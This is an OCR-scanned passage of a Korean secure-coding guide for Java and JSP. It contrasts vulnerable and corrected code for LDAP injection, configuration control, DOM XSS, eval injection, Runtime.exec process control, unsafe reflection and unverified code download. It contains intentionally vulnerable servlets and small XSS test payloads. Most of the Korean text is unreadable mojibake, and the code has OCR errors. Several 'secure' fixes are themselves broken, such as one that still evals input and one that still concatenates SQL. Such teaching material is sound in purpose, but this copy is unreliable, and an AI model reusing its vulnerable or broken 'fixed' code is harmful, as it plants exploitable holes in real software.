9: // 9% d&Ego] LDAP searche| Q1ALZ A}-go] =t}

10: NamingEnumeration answer =

11: ctx.search("ou=NewHires", attr.getID(), new SearchControls());
12: printSearchEnumeration(answer);

13: ctx.close();

14: }

15: catch (NamingException e) { " }

16:  }

17:

18:  public void printSearchEnumeration(NamingEnumeration value)

19: |

20: try

21: {

22: while (value.hasMore())

23: {

24: SearchResult  sr = (SearchResult) value.next();

25: System.out.printin(">>>"  + sr.getName() + "\n" + sr.getAttributes());
26: }

78 <« HM1E YLHO0lE HE I
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27: }
28: catch (NamingException e) { =" |
29' ......

9% Qo] hF AT FEA WF F Aok S0l LDAP ALgA WOlRE A
HERS HTHES S A Aol 715S Aol B,

ahel 84
B aAF =9 4 - JAVA
1T e
2: try ;
3: { l\;
b e 0z
5: // 952 FE 4Egs deth
6: String name = props.getProperty('name");
7: // |Egkel o7 A g >
8: if (name == null || ".equals(name)) return; du
9: String filter = "(name =" + name.replace AlI("\\*", "") + ")"; ﬁ
10: on
11: // ASH JHFE LDAP search AAZ ARE-gt) _Z_
12: NamingEnumeration answer = |_|'|
13: ctx.search("ou=NewHires", filter, new SearchControls());
14: printSearchEnumeration(answer);
15: ctx.close();
16: }
17: catch (NamingException ) { ="~ }
18}
19:
20:  public void printSearchEnumeration(NamingEnumeration value)
21 |
2wy
23: {
24: while (value.hasMore())
25: {
26: SearchResult sr = (SearchResult) value.next();
27 System.out.println(">>>" + sr.getName() + "\n" + sr.getAttributes());
28: }
29: }
30: catch (NamingException e) { ="~ }
3. e

A1E YHHolE 25 ¥ & 79
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2 Za &3

[1] CWE-639 Authorization Bypass Through User-Controlled Key
http:/ /cwe.mitre.org/data/ definitions/639.html

[2] CWE-90 Improper Neutralization of Special Elements used in an LDAP Query(LDAP
Injection), http://cwe.mitre.org/data/definitions/90.html

[3] CWE-116 Improper Encoding or Escaping of Output,
http:/ /cwe.mitre.org/data/definitions/116.html

[4] 2010 OWASP Top 10 - A4 Insecure Direct Object Reference
https:/ /www.owasp.org/index.php/Top_10_2010-A4

)

80 <« M1E YHHO/H AT H EH



19. A" =& 74 AR 95 A|o](External Control of System or
Configuration Setting)

7k A9
AE Aot FHALE 9RolA AT & om agn RE Avkel: A
FHE 2ASAY 488 7bsol Atk

A
m 9]39] 91%-& Connection.setCatalog() MlAE2] AAGES A3zl AHSSIA] 55 Stk
E7HEHAl ARgSloF Rk, 9 Fo] E S Blo|ERAE WA o R HARE F ARRIT

o}, oA
215-2] Y H(catalog)©] JDBCS] /3t 7MeE=0E AAst=t AMEIL Stk olu =
ASA e Azt Ase] i AER o] AYHY TS WYY 5 9
o.
2: public void setCatalog()
3
4 try
5: {
6: InitialContext ctx = new InitialContext();
7 DataSource datasource = (DataSource) ctx.lookup("jdbc:ocl:orcl");
8 Connection con = datasource.getConnection();
9 Properties props = new Properties();
10: String fileName = "file.properties";
11: FileInputStream in = new FileInputStream(fileName);
12: props.load(in);
13:
14: // catalogB = RERE FY=HE HH
15: String catalog = props.getProperty("catalog");
16: // catalog 25 DB Connections #1314 ad k& #|338HA 9411, DB 7+
B0 R A
17: con.setCatalog(catalog);
18: con.close();
19: }
20: catch (SQLException ex)
21: {
22: System.err.println("SQLException Occured");
23: }
24: catch (NamingException e)
25: {
26: System.err.printIn("NamingException Occured");

A1 YLolE 25 U BH »
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82

}
catch (FileNotFoundException e)

{
System.err. printIn("FileNotFoundException Occured");

}
catch (IOException e)

{
System.err.println("IOException Occured");

9)%9] Qeigrol weh shgE oo HHolol T Aol AT TAAL

W, ve) gold HAe AR olF Fol Auste] AgITh

B aAHF 7=9 o - JAVA

@ N

20:
21:
22:
23:
24:
25:
26:
27:
28:
29:

public void setCatalog()
{
try
{
// caltalog o= 13} 28 AT ¢
InitialContext ctx = new InitialContext();
DataSource datasource = (DataSource) ctx.lookup("jdbc:ocl:orcl");

Connection con = datasource.getConnection();

Properties props = new Properties();
String fileName= "file.properties";
String catalog;

FileInputStream in = new FilelnputStream(fileName);
if (in != null && in.available() > 0)

{
props.load(in);

if (props == null || props.isEmpty()) catalog = "c1";
else

catalog = props.getProperty("catalog'");

else

catalog = "c1";

// S Y W (catalog)oll tHell A #r-& WEEA] A =8kar Zof
if ("c1".equals(catalog))
con.setCatalog("c1");

<« H1E
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30: else

31: con.setCatalog("c2");

32: con.close();

33: }

34: catch (SQLException ex)

35: {

36: System.err. println("SQLException Occured");

37: }

38: catch (NamingException e)

39: { =

40: System.err. println("NamingException Occured"); S

41: } 0?"'

42: catch (FileNotFoundException e)

43: {

44: System.err.println("FileNotFoundException Occured"); -

45: } =1

46: catch (IOException e) ﬁ

47 { oo

48: System.err. println("[OException Occured"); N
o

49: } —
In

50:  }

O A= FIP AHl=e] 2E Wo) izt 44L& Alojstal vk 2E HEE 9%
oA Wobx HAHSES Hol et o] ZE WML gk 7)Ed) AHEHI e XE W
b H&R FIP ARy 71E AHl: F siue 25 4teh dot

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

private final String CHANGE_FIP_PORT = "change_service_port";

1:

2:

3:

4:

5: // Command ¥ %2
6:

7:

8: private final String PORT_PARM = "port";

9:

10: protected void doPost(HttpServletRequest request,

11: HttpServletResponse response) throws ServletException, IOException
12: {

13: String command = request.getParameter(COMMAND_PARAM);
14:

15: if (command.equals(CHANGE_FTP_PORT))

16: {

17:

18: String servicePort = request.getParameter(PORT_PARM),

H1ZE Y=OolE 45 % #el »» 83
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20: servicemanage.changeSerivcePort(FTP_SERVICE, servicePort);

o] s Al A FIP A8l 2]
3 e ARaA stk v
52 FIP AH|29 ZE W37} M7

EE WS E 9F AHgho] ohd, Z=IHolA v]E
&l lo g 7)Zo| AHEEE ZTE W

il

!

fol

B aHg 7=9 o - JAVA

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

private final String CHANGE_FTP_PORT = "change_service_port";

1

2

3

4

5: // Command ## 9]
6

7

8 private final String PORT_INDEX_PARM = "port_index";

9:

10: private final int DEFAULT_FTP_PORT = 21;

11: private final int ALTERNATIVE_FTP_PORT = 2121;

12:

13: protected void doPost(HttpServletRequest request,

14: HttpServletResponse response) throws ServletException, IOException

15: {

16: String command = request.getParameter(COMMAND_PARAM);

17:

18: if (command.equals(CHANGE_FTP_PORT))

19: {

20:

21: String servicePortIndex = request.getParameter(PORT_INDEX_PARM);

22:

23: if (servicePortIndex == DEFAULT)

24: {

25: servicemanage.changeSerivcePort(FTP_SERVICE, DEFAULT_FTP_PORT);
26: }

27: else if(servicePortIndex == ALTERNATIVE)

28: {

29: servicemanage.changeSerivcePort(FTP_SERVICE, ALTERNATIVE_FTP_PORT);

84 <« H1ZE UHOOIE] HE X &
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33: }
34:
35}

2t 3 £
[1] CWE-15 External Control of System or Configuration Setting,
http:/ /cwe.mitre.org/data/definitions/15.html
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20. 22 AO|E AFHYE FA FH4H: DOM(Improper Neutralization of
Script-Related HTML Tags in a Web Page , DOM)
7} A9
941?—011/‘1 dYHe 2aHE EAL] 4 dolA] Aol AEHH AAH ¢ HolAE
ot ARSAl Al FellE A & Atk

. e 297
= JSPC] document.write() W49} Fo] JSPO] DOM AA| &8-& Fdlste mAse] Q1
Hoem o fe] J¥e AT A APT TAE AASE AA o] s ok
= HeMol HFHol U= APIE ARESt] AR EAES AASt ok ok

ok A
request.getParameter()o A A2H <59 9] (name)©| document.write()2] UAMFE A
Aol IE AMSE AT

=

<%

// SHE FE 4EE etk

String name = request.getParameter("name");
%>

<SCRIPT language="javascript">

// A5e] dEe auE 93tk

document.write("name:" + <%=name%> );

9)2e] 12 (name) ZRE| <o} >@o] HIMLAA 2~IPE Aol AEHE RE &

AES &lt; &gt; &amp; &quot; 9F 2> FEH|Z WHASIT)
B A 729 o - HTML

1. e
20 <%
3 // e dEE wet
4 String name = request.getParameter("name");
5: // BERe] g FE2H AARE
6 if ( name != null ) {
7 name = name.replaceAll("<","&lIt;");
8 name = name.replaceAll(">","&gt");
9 name = name.replaceAll("&","&amp;");
10: name = name.replaceAll("\"","&quot;");
11: name = name.replaceAll("\"","&#x27;");
12: name = name.replaceAll("/","&#x2F;");
13: }else { return; }

rek
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14: %>
15:  <SCRIPT language="javascript">
16: // d"gkol EHA:

"

17: document.write('name:" + <%=name%> );

request.getParameter()oll Al A2 2|79 ¥ (eid)o] DBE Hol7l= HEEe] Ak
Aol oz AFEE AT wWebA eidoll SQL injection &4Twe MEsh= AF- el

w21 b5l Yok

1. <%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncod-
ing="EUC-KR"%>

2:  <IDOCTYPE html PUBLIC "-//W3C//DTD HIML 401 Transitional//EN"
"http:/ /www.w3.org/TR/html4/loose.dtd">

Sl

3:  <html> =
4:  <head> g
5. <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR"> kU
6:  <title>Insert title here</title> oo
7. </head> P
8:  <body> I_I'I
9 <% String eid = request.getParameter("eid"); %>

10:

11: Employee ID: <%= eid %>

12:

13:

14: <%

15:

16: Statement stmt = conn.createStatement();

17: ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);

18: if (rs != null)

19: {

20: rs.next();

21: String name = rs.getString("name");

22: }

23: %>

24:

25: <script type="text/javascript">

26: document.write("Employee Name: " + <%= name %>);

27: </script>

28:  </body>

29:  </html>

9] A= owaspol Al AlEF3H= esapid<™ & ESAPLencoder().encodeForHTML
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88

<« A1

Attribute S ©]-§-5t] 2] F-oll A P AR Fk(name) S HFT F AHESEL STk

_{

M A% 3=9 o - HTML

1: <%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncod-
ing="EUC-KR"%>

2:  <IDOCTYPE html PUBLIC "-//W3C//DTD HIML 401 Transitional//EN"
"http:/ /www.w3.org/TR/html4/loose.dtd">

3 <html>

4:  <head>

5. <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR">

6: <title>Insert title here</title>

7. </head>

8:  <body>

9 <%

10: String eid = request.getParameter("eid");

11: String safeEID = ESAPLencoder().encodeForHTMLAttribute(name);

12: %>

13:

14: Employee ID: <%= safeEID %>

15:

16: <%

17:

18: Statement stmt = conn.createStatement();

19: ResultSet rs = stmt.executeQuery('select * from emp where id="+safeEID);

20: if (rs = null)

21: {

22: rs.next();

23: String name = rs.getString("name");

24: }

25: %>

26: <script type="text/javascript">

27: document.write("Employee Name: " + <%= name %>);

28: </script>

29:  </body>

30:  </html>

oh2-9] olAlE= http:/ /josephoconnell.com/java/xss-html-filter/ ol A A F-5h=
o] &3 AHF HH dAolth AFH= ZEE o] 83t FolXl Ao ES]

T o

ol-ga TAEE IEHs ATk

M A3 3=9 o - HTML

XSS Filter
3o gk

FEZ WPAA AHES 5 Jdoh 952 oA oA = HIMLInputFilter().filter MAE

14:  import javax.servlet.http.HttpServletRequest;
15 import javax.servlethttp.HttpServletRequestWrapper;
16:  import com.josephoconnell.html. HTMLInputFilter;

E Y=holE 45 ¥ Ee
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17:

18:  public class RequestWrapper extends HttpServletRequestWrapper
19: |

20:

21: private String filter(String input)

22: {

23: String clean = new HTMLInputFilter().filter(input);

24: return clean;

25: }

26. '}

Sl

2t 3 £

[1] CWE-79 Improper Neutralization of Input During Web Page Generation(Cross-site
Scripting), http://cwe.mitre.org/data/definitions/79.html

[2] CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page(Basic XSS),
http:/ /cwe.mitre.org/data/ definitions /80.html

[3] 2010 OWASP Top 10 - A2 Cross Site Scripting(XSS)
https:/ /www.owasp.org/index.php/Top_10_2010-A2

[4] 2011 SANS Top 25 - RANK 4 (CWE-79), http://cwe.mitre.org/top25/
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21. 3R Ao P HH | AU (Improper Neutralization of

Directives in Dynamically Evaluated Code, Eval Injection)

7t A9

Ho] HPG PANYE ANA %3 FHoE FYHE 237
of EAgdel Aol A8 A9 =AW Fele] PR g

slof @tk a2 gow, 9%e] Aol Polw Aguol FAXE

s dole) Al FAY + Yk

e J (m
Yy
o
ol
e
Al

deol eval() Frol AAE AHEE 75 9FolA AHE = JavaScript7h 3 =
A FEF APBEAE AAsNF Tk

ESAPI for Javascript 52 HQH3 A& APIE AMESte] 2FolA Y= e A5
& AR

.
o
0—{1::
o

th A4
9% gl¥(evalParam) S eval() 3579 AAE A&l Itk whek 9)F Yo java-
script® ® TVt A o] Z&7} eval()oll 9slA] o] Hrt

1. <%@page import="org.owasp.esapi.*" %>

2:  <%@page contentType="text/html" pageEncoding="UTF-8"%>

3 <html>

4 <head>

5: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
6 </head>

7 <body>

8 <h1>Eval FoF3 AlE</h1>

9 <%

10: String evalParam = request.getparameter("eval");
11 e

12: %>

13: <script>

14: eval(<%=evalParam%>);

15: </script>

16:  </body>

17:  </html>

[
lﬂ
junch
(m
il
Ny
__\"L“
iizh
fo
e
M
Y
M
2
A
Y
&
—
ol
glg
tlo
'
oN.
%

90 <« H1E YUMol HE X B

rek



M A3 == ¢ - HTML

1:  <%@page import="org.owasp.esapi.*"%>

2:  <%@page contentType="text/html" pageEncoding="UTF-8"%>

3:  <html>

4: <head>

5: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
6: </head>

7: <body>

8: <h1>Eval #¢Fd A1Z&</h1>

9: <%

10: // 59 JERE Wtk

11: String evalParam = request.getparameter('eval");

12: // [EF O FEEE A=A

13: if ( evalParam != null ) {

14: evalParam = evalParam.replaceAll("<","&It;");

15: evalParam = evalParam.replaceAll(">","&gt;");
16: evalParam = evalParam.replaceAll("&","&amp;");
17: evalParam = evalParam.replaceAll("(","&#40;");
18: evalParam = evalParam.replaceAll(")","&#41;");
19: evalParam = evalParam.replaceAll("\"","&quot;");
20: evalParam = evalParam.replaceAll("\"","&apos;");
21: }

20 e

23: 90>

24: <script>

25: eval(<%=evalParam?%>);

18: </script>

19:  </body>

20:  </html>

e
Azglo] ol Ael Ag3tn e

Al M elFERE Y ASHA &2 UG vulstrl, vulstr2, vulstr3E

1. <%@page import="org.owasp.esapi.*"'%>

2

3:  <%@page contentType="text/html" pageEncoding="UTF-8"%>
4

"http:/ /www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>ESAPI XSS Protection Bypass</title>

<IDOCTYPE HTML PUBLIC '"-//W3C//DTD HIML 401 Transitional//EN"

H1E Y=HOolE HS

=1]
=

)
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10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:

</head>

<body>

<h1>ESAPI XSS Protection Bypass</h1>
<p id="tbl"/><br>

<p id="tb2"/>

<script>

//9)% o g e 9H3 ~EPZ
<%

String vulstrl = "-1%;alert(0);";
String vulstr2 = "<img src=x onerror=alert(1)>";
String vulstr3 = "0,x setter=alert,x=2";

%>

// esapi ¥TE LEY
var a='<%= vulstrl %>,
alert(a);

// esapi &= LEY
document.write('<%= vulstr2 %>");
// esapi &= IJEH
eval("u=<%= vulstt3 %>");
</script>

</body>

</html>

o2 oAle} o] ESAPLencoder().encodeFor]avaScript() S 53l Y4k

tlo
m
olN
%

Mg o1l ezt £FE 2aPE AL PAT + Atk

M H3F Z=9] o - HTML

i

<%@page import="org.owasp.esapi.*" %>

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<IDOCTYPE HIML PUBLIC "-//W3C//DITD HIML 401 Transitional//EN"
"http:/ /www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>ESAPI XSS Protection Bypass</title>

</head>

<body>

<h1>ESAPI XSS Protection Bypass</hl1>

<p id="tbl"/><br>

<p id="tb2"/>

<script>

<« H1E
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160 //9F BP0 e g ~EJF

17 <%

18:  String vulstrl = "-1’;alert(0);";

19:  String vulstr2 = "<img src=x onerror=alert(1)>";

20:  String vulstr3 = "0,x setter=alert,x=2";

21: %>

22:

23: // esapi ¥TE BEH

24:  var a='<%= ESAPILencoder().encodeForJavaScript(vulstr1) %>’;
25:  alert(a);

26:

27. // esapi &= TET

28:  document.write('<%= ESAPIencoder().encodeForJavaScript(vulstr2) %>");
29:  // esapi ¥TE TEHH

30:  eval("'u=<%= ESAPLencoder().encodeForJavaScript(vulstr3) %>");
31:  </script>

32:  </body>

33:  </html>

2t Fa 23
[1] CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code(Eval Injection),
http:/ /cwe.mitre.org/data/ definitions/95.html
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22, Z2H| 2= A|o](Process Control)

7k A
WA e sav AHHA W BPoeRE soluddE AAAY o
B3, oelxel mesk AE & ook

mlo
(2

. kAR 2971
v =29 yod golneE AT @ A ARE AL

o} oA
Bl AL golnelels AYE W A FEE AESHA QAL Yol FAAT B
AM5E 2259 B goludest 448 5 3

2:  public void loadLibrary() throws SecurityException, UnsatisfiedLinkError, NullPointerException
{

3: // F SHelrElE 3F A Al F=7F 5] IA ¥k
4: Runtime.getRuntime().loadLibrary("libraryName");
5}

6 e

=

2:  public void loadLibrary() throws SecurityException, UnsatisfiedLinkError, NullPointerException
{

3: // 9 Solueie] 5% A Ao A2E AT

4: Runtime getRuntime().loadLibrary("/us1/lib/libraryName");
5}

6 e

1:  import java.io.File;

2:  import java.io.FileInputStreamy;
3:  import java.io.lOException;

4:  import java.net.URLDecoder;
5:  import java.sql.Connection;

6

import java.sql.Statement;

94 <« H1E YHHOH HE X B
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10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:

25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47
48:
49:
50:
51:

import java.util. Hashtable;
import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.http.Cookie;

import javax.servlet.http.HttpServlet;

import javax.servlet.http. HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DocService extends HttpServlet
{

private final String UPLOAD_library COMMAND = "upload_library";
private final String library NAME_PARAM = "library_name";
private final String CONVERT_OPERATION_PARAM = "convert_operation";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

{

String command = request.getParameter("command");

if (command.equals(UPLOAD_library_ COMMAND))
{

String libraryName = request.getParameter(library NAME_PARAM);
String additionalOperation = request.getParameter(CONVERT_OPERATION_PARAM);

// upload %ttt
if(additionalOperation != null)
{
String [] arguments = new String [1];

arguments[0] = libraryName;

Runtime.getRuntime().exec(additionalOperation, arguments, null);

Hi1ZE Y=OolE 45 % ®
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96

B0l &S ol gsl Azl o]F2] shelHrto] Ao M) A=E Tl =29 7hs
stAl AAE ] e

B aHg 7=9 9 - JAVA

N NN NN NN == = e = el e el

27

import java.io.File;

import java.io.FilelnputStream;
import java.io.IOException;
import java.net.URLDecoder;
import java.sql.Connection;
import java.sql.Statement;
import java.util. Hashtable;
import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.http.Cookie;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DocService extends HttpServlet

{
private final String UPLOAD_library COMMAND = "upload_library";
private final String library NAME_PARAM = "library_name";
private final String CONVERT_OPERATION_PARAM = "convert_operation";

private Hashtable<String, String> additionalOperations;

public DocService()

{
additionalOperations = new Hashtable<String, String>();
additionalOperations.put("Doc", "/LIBRARY/DOC.LIB");
additionalOperations.put("UTF", "/LIBRARY/UTF.LIB");

}

protected void doPost(HttpServletRequest request,HttpServletResponse response) throws
ServletException, IOException
{

String command = request.getParameter("command");

/] 22 AA eEE 84 A
if (command.equals(UPLOAD_library COMMAND))
{

<« H1E
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41: String libraryName = request.getParameter(library NAME_PARAM);

42: String additionalOperation = request.getParameter(CONVERT_OPERATION_PARAM);
43:

44: // upload ¥t}

45:

46: if(additionalOperation != null)

47 {

48: // &A1 formate] htmlo] obd 73-%, html2 W3S 53

49:

50: String [] arguments = new String [1];

51: arguments[0] = libraryName;

52:

53: Runtime.getRuntime().exec(additional Operations.get(additionalOperation), argu-

Sl

ments, null);
54:
55: }
56:
57: }
58:
59: }
60:
61: }

Slolc BEElY

I SR |
[1] CWE-114 Process Control, http://cwe.mitre.org/data/definitions/114.html
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7I0|E o

QAR ¢k B ZH A (Use of Externally-Controlled Input to Select Classes
or Code, Unsafe Reflection)

3o

52 FU2 HA(loading)oll 2o HTEHA ¢ % dHe AHSE e, sHAE R
YL Wxste] o=stA] ¥ FH2T AAHES & 5 Slth
(AT ZF7H

01

R S Ay ZY = o]FoE ARESHA HaL, 959 o) whe} vE] A3 FH
(white list) TolA HA3 Sz o]F-& AHYSI=S gt

Al
el dAlE 9% Yetype) e FAx B YR AHgslel AAE Y4 Ak
o A% BAAV} 9% AP Wzsle] RAWY e 227} AAHES @ 5
2: public void workType()
3 |
4: Properties props = new Properties();
5:
6: if (in !=null && in.available() > 0 )
7 {
8: props.load(in);
9: if ( props == null || props.isEmpty() )
10: return ;
11: }
12: String type = props.getProperty("type");
13: Worker w;
14:
15: // SFelA AHR typegke] frEAS AS8HA S Atk
16: try
17: {
18: Class workClass = Class.forName(type + "Worker");
19: = (Worker) workClass.newlInstance();
20: w.doAction();
21: }
22: catch (ClassNotFoundException €) { =" }
03 e
24: '}
25:
26:  abstract class Worker
27 |
28: String work = "";

rek



29: public abstract void doAction();
30: }

93] e (type)l wel, ple] A FH(white list) oA HAG 2o o) gl
RAHEE oM, 97| oholgl Yol ojstel FAAY Fet ASHE YA
AAY % 9l

o

B 3A3 7=9] 9 - JAVA

PR
2: public void workType() %
3 | 0?.'.
4: Properties props = new Properties();

5:

6: if ((in !=null && in.available() > 0 )

7 >
8: props.load(in); g
9: if ( props == null || props.isEmpty() ) kU
10: return ; on
11: } -Z-
12: String type = props.getProperty("type"); I_I'I
13: Worker w;

14:

15: // 9 AEEE goll thell FEARS AFslofokdth

16: if (type == null || ".equals(type)) return;

17: if (type.equals("Slow"))

18: {

19: w = new SlowWorker();

20: w.doAction();

21: }

22: else if (type.equals("Hard"))

23: {

24: w = new HardWorker();

25: w.doAction();

26: }

27 else

28: {

29: System.err.printf("No propper class name!");

30: }

31 e

32: 1}

33:

34: abstract class Worker

35: |

36: String work = "

H1E Y=HHolE 45 % #ed »» 99
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37
38:

public abstract void doAction();

}

29 dAE 9% 92 (converterParam)Z oA olEFS 1
ARgste] AAE At Ak o] Af FAAE R dEE W

Y20} AAHES & 5 Ao,

I T N T N T N S N S e S S = WS Gy
=Y D P9 9 ® NN a9

25:

27:
28:
29:
30:
31:
32:
33:
34:
35:
36:

import java.io.File;

import java.io.FileInputStream;
import java.io.IOException;
import java.net. URLDecoder;
import java.sql.Connection;
import java.sql.Statement;
import java.util. Hashtable;
import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.http.Cookie;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DocService extends HttpServlet
{

private final String UPLOAD_DOCUMENT_COMMAND = "upload_document';
private final String DOCUMENT_NAME_PARAM = "document_name";
private final String CONVERTER_PARAM = "convert_operation";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
{

String command = request.getParameter("command");

/] 2E AA SYe 23 A

if (command.equals(UPLOAD_DOCUMENT_COMMAND))

{
String documentName = request.getParameter(DOCUMENT_NAME_PARAM);
String converterParam = request.getParameter(CONVERTER_PARAM);

// upload Sttt
if(converterParam != null)

{

100 <« H[1H
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37: // &A1 formate] htmle] obd 7%, html= WS +3
38:
30: try
40: {
41: Class converterClass = Class.forName(converterParam);
42: Converter converter = (Converter)converterClass.newlnstance();
43: String htmlContents = converter.convertToHtml(documentName);
44:
45: }
46:
47 }
48:
49: }
50:
51: }
52:
53. }
9|5 ¥ (converterParam)S A H|o] &) WE] A3 FH(white list) = P FoH
AAg Ze)z olo] AYHoIH, 9)Ro| otelHel Yelo] o RAHY Fejrvt AL
He A94e AAT 5 9
B a7 7=9] 9 - JAVA
1:  import java.io.File;
2:  import java.io.FilelnputStream;
3:  import java.io.IOException;
4:  import java.net. URLDecoder;
5. import java.sql.Connection;
6:  import java.sgl.Statement;
7:  import java.util. Hashtable;
8:  import java.util.regex.Matcher;
9:  import java.util.regex.Pattern;
10:
11:  import javax.servlet.ServletException;
12:  import javax.servlet.http.Cookie;
13:  import javax.servlet.http.HttpServlet;
14:  import javax.servlet.http.HttpServletRequest;
15 import javax.servlethttp.HttpServletResponse;
16:
17:  public class DocService extends HittpServlet
18 {
19: private final String UPLOAD_DOCUMENT_COMMAND = "upload_document';
20: private final String DOCUMENT_NAME_PARAM = "document_name";
21: private final String CONVERTER_PARAM = "convert_operation";
22:
H1E LHoolE HE & E »
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23: private Hashtable<String, String> converterClasses;

24:

25: public DocService()

26: {

27: converterClasses = new Hashtable<String, String>();

28: converterClasses.put("DocToHtml", "DocToHtmlConverter");

29: converterClasses.put("UTF16ToUTF8", "TextEncodingChanger");

30:

31: }

32:

33: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

34: {

35: String command = request.getParameter("command");

36:

37: /] 5 A 8 8 A

38: if (command.equals(UPLOAD_DOCUMENT_COMMAND))

39: {

40: String documentName = request.getParameter(DOCUMENT_NAME_PARAM);

41: String converterParam = request.getParameter(CONVERTER_PARAM);

42:

43: // upload gttt

44: if(converterParam != null)

45: {

46: // &A1 formate] htmlo] obd 73-%, html2 W3S 3

47:

48: try

49: {

50: Class converterClass = Class.forName(converterClasses.get(converterParam));

51: Converter converter = (Converter)converterClass.newlnstance();

52: String htmlContents = converter.convertToHtml(documentName);

53:

54: }

55:

56: }

57:

58: }

59:

60: }

61:

62: }

2k 3 £
[1] CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflectior),
http:/ /cwe.mitre.org/ data/ definitions/470.html
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24, ¥4 A gl Z= U=Z=(Download of Code Without Integrity
Check)

7% A9

E0] F& EAE o= host server®] W=, DNS spoofing Ev= AFTAIY A=

= A A
Mz 5o P olgste] A} AelH EE AP & A=S Aok

L kAR 29719
. SWel AE SluolEst 2o BeRE ¥ FEE AY g med Od dsstw
AIUAE g3 Feol e ATUAE AFFHES S,

. oA
59| o2l URLClassLoaders AR8-3te], 929 Uds L2 Itk T2
& el gk A4 AAE T S A, ddRE T Lls

1:  URL[] classURLs= new URL[[{new URL('file:subdir/")};
2: URLClassLoader loader = new URLClassLoader(classURLs);
3:  Class loadedClass = Class.forName("MyClass", true, loader);

A7) B 4z dadEd MAYEE o8t dFatdel i AayAE A4

B aA3 7=9] 9 - JAVA

1. // AWelAE private keyE 713l MyClassE o53}ghtt.

2:  String jarFile = "./download/util jar";

3:  byte[] loadFile = FileManager.getBytes(jarFile);

4:  loadFile = encrypt(loadFile,privateKey);

5. // jarFiled 2.2 +5381% uldS YA

6:  FileManager.createFile(loadFile jarFileName);

7 .

8 /) FHOIRAENANE HYE TERE ¥ 9 public key2 E53} gk
9: URL]] classURLs= new URL[]{new URL("http://filesave.com/download/util jar")};
10:  URLConnection conn=classURLs.openConnection();

11:  InputStream is = conn.getInputStream();

12 /7 48 2ELL 9o} A9 jarFiled 0.2 TA L ST,

13:  FileOutputStream fos = new FileOutputStream(new File(jarFile));

14:  while ( is.read(buf) != -1 )

15 {

16:

M1 QHole A5 Y B »
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17}

18:  byte[] loadFile = FileManager.getBytes(jarFile);

19: loadFile = decrypt(loadFile,publicKey);

20 // HEshE 9de G

21:  FileManager.createFile(loadFilejarFile);

22:  URLClassLoader loader = new URLClassLoader(classURLs);
23:  Class loadedClass = Class.forName("MyClass", true, loader);

Bgo At HYe GeREsHE §4E AFHT Utk o] LS FoE
el R AT BAS A G ATk wAA 158 ASES AHAY 3
of SHdol WEE ohelM o wE A, oo thatel THAE T Pl itk

=
Ed3

1:  public class DownloadFile

2

3 public boolean download(String localPath, String remoteURL)
4 {

5: try

6 {

7 URL url = new URL(remoteURL);

8 url.openConnection();

9: InputStream reader = url.openStream();

10:

11: FileOutputStream writer = new FileOutputStream(localPath);
12: byte[] buffer = new byte[BUFFER_SIZE];

13: int totalBytesRead = 0;

14: int bytesRead = 0;

15:

16: while ((bytesRead = reader.read(buffer)) > 0)
17: {

18: writer.write(buffer, 0, bytesRead);

19: totalBytesRead += bytesRead;

20: }

21: writer.close();

22: reader.close();

23: }

24:

25: }

26:  }

Bl dAE Aol e AAE St Utk HYe] Wgol FASIHE ¢ B
t BE 392 gushalelol AW, 1Y o] FAHIE HE Ao 5ol
& gEsiely] Brks AZHS ol§dtel HU| thgol oo WHHUE
Ak o] Efaoltk Jrhaos At A Aol A7) WAL A g5t

o XN oo
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muie)

B AT F=9] ¢ - JAVA

AOIER s, F3bol el Ul ge v 5o ofeldel B tAY

1:  public class DownloadFile

2. |

3: public boolean download(String localPath, String remoteURL, String checksumURL)
4: {

5:

6: _download(checksumFilePath, checksumURL);

7 decrypt(checksumFilePath, publicKey);

8: _download(localPath, remoteURL);

9: return checkCheckSum(localPath, checksumFilePath);
10: }

11: private void _download(String localPath, String remoteURL)
12: {

13: try

14: {

15: URL url = new URL(remoteURL);

16: url.openConnection();

17: InputStream reader = url.openStream();

18:

19: FileOutputStream writer = new FileOutputStream(localPath);
20: byte[] buffer = new byte[BUFFER_SIZE];

21: int totalBytesRead = 0;

22: int bytesRead = 0;

23:

24: while ((bytesRead = reader.read(buffer)) > 0)
25: {

26: writer.write(buffer, 0, bytesRead);

27: totalBytesRead += bytesRead;

28: }

29: writer.close();

30: reader.close();

31: }

32: }

33 }

2 Zi 3
[1] CWE-494 Download of Code Without Integrity Check,
http:/ /cwe.mitre.org/data/definitions/494.html
[2] 2011 SANS Top 25 - RANK 14 (CWE-494), http://cwe.mitre.org/top25/
